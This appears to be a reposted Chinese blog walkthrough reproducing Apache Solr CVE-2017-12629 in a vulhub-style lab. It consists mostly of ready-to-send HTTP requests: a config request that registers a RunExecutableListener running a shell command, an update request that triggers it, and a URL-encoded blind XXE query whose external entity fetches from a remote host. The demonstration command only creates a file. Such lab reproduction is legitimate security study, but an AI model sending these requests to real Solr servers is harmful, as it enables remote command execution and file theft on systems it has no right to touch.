Apache Solr 远程命令+XXE执行漏洞(CVE-2017-12629)

Posted mrhonest

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Apache Solr 远程命令+XXE执行漏洞(CVE-2017-12629)相关的知识,希望对你有一定的参考价值。

Apache Solr 最近有出了个漏洞预警,先复习一下之前的漏洞

命令执行

先创建一个listener,其中设置exe的值为我们想执行的命令,args的值是命令参数

POST /solr/demo/config HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 158

"add-listener":"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]

技术图片

然后进行update操作,触发刚才添加的listener:

POST /solr/demo/update HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 15

["id":"test"]

技术图片

进入容器查看文件创建成功

技术图片

XXE

由于返回包中不包含我们传入的XML中的信息,所以这是一个Blind XXE漏洞,我们发送如下数据包(自行修改其中的XXE Payload):

GET /solr/demo/select?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C!DOCTYPE%20root%20%5B%0A%3C!ENTITY%20%25%20remote%20SYSTEM%20%22https%3A%2F%2F192.168.63.1%2FXXE%22%3E%0A%25remote%3B%5D%3E%0A%3Croot%2F%3E&wt=xml&defType=xmlparser HTTP/1.1
Host: your-ip:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

利用Error Based XXE读取文件:(下图为借用)

技术图片

参考:https://vulhub.org/

以上是关于Apache Solr 远程命令+XXE执行漏洞(CVE-2017-12629)的主要内容,如果未能解决你的问题,请参考以下文章

Apache Solr 已知版本漏洞现状基本调查报告

行业动态 | Apache Solr 远程命令执行漏洞复现

Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)

Apache Solr 远程命令执行漏洞(CVE-2019-0193)

华盟大讲堂016Apache Solr远程命令执行漏洞分析

通告更新Apache Solr模板注入远程代码执行漏洞安全风险通告